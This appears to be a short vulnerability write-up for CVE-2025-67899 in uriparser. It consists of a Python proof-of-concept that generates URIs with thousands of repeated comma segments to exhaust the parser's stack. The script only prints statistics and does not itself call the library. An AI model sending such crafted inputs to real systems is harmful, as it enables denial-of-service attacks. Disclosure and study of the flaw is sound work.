CVE-2025-67899 uriparser递归栈溢出漏洞分析

#!/usr/bin/env python3 # CVE-2025-67899 PoC - uriparser Recursion Stack Consumption # Description: Generate malicious URI input with many commas to trigger # unbounded recursion in ParseMustBeSegmentNzNc function import ctypes import sys def create_malicious_uri(num_commas=10000): """ Generate a URI with many commas to trigger unbounded recursion. The ParseMustBeSegmentNzNc function processes segments recursively, and commas trigger additional recursive calls without depth limiting. """ # Create a path with repeated comma-separated segments segment = 'a,' malicious_path = segment * num_commas return f'http://example.com/{malicious_path}' def trigger_vulnerability(uri_input): """ Simulate triggering the vulnerability by parsing the URI. In real scenario, this would call uriparser's UriParseSingleUri or UriParseMultipleUri functions. """ print(f"[*] Input URI length: {len(uri_input)} characters") print(f"[*] Number of commas: {uri_input.count(',')}") print(f"[*] Estimated recursion depth: ~{uri_input.count(',')}") print(f"[!] This could cause stack exhaustion and denial of service") # In production, this would call: # UriParserStateA state; # UriUriA uri; # if (UriParseSingleUri(&state, &uri, uri_input, NULL) != URI_SUCCESS) # handle_error(); return True def main(): print("=" * 60) print("CVE-2025-67899 PoC - uriparser Recursion Vulnerability") print("=" * 60) # Generate URI with varying levels of commas test_cases = [ ("Low complexity", 1000), ("Medium complexity", 5000), ("High complexity", 10000), ("Critical - likely to trigger DoS", 50000) ] for name, num_commas in test_cases: print(f"\n[*] Test case: {name}") uri = create_malicious_uri(num_commas) trigger_vulnerability(uri) print("\n[*] PoC demonstration complete") print("[*] In real environment, use uriparser library to trigger") print("[*] The unbounded recursion can cause stack overflow") if __name__ == '__main__': main()